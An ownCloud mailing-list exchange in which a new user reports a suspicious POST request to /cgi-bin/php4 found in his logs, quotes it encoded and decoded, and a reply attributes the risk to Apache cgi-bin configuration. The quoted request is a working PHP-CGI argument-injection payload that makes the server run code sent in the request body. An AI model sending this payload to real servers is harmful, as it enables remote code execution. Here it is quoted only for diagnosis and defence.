[Owncloud] cgi-bin attacks

[Erwin Rennert]

On 01/29/2014 01:41 PM, Mohammad Naghavi wrote:
> ​Hi everybody,
> I'm new to owncloud and just started using it since two days but I just
> found out that I have been just attacked. they are trying requests
> similar to the following with different target urls:
> ​
>
> quest: "POST
> /cgi-bin/php4?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E
> HTTP/1.1", host: "
> ​XXX.XXX.XXX.XXX"
>
> ​which decodes to:
>
> quest: "POST /cgi-bin/php4?-d allow_url_include=on -d safe_mode=off -d
> suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d
> auto_prepend_file=php://input -d cgi.force_redirect=0 -d
> cgi.redirect_status_env=0 -n HTTP/1.1", host: "XXX.XXX.XXX.XXX"
>
> I'm using OC 6.0.1 and I want to know if my server is prone to such
> attacks or not.

See 
http://security.stackexchange.com/questions/46566/protect-against-post-cgi-bin-php-attacks

Your server is prone to such attacks, if it uses cgi-bin directives in 
it's apache configuration. This is an apache configuration issue, not 
specifically OwnCloud.

Good luck;
Erwin


>
> regards,
> Mohammad​
>
> !DSPAM:52e8f76916541752919656!
>
>
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>
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>


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Erwin Rennert, IT Services
Center for Social Innovation

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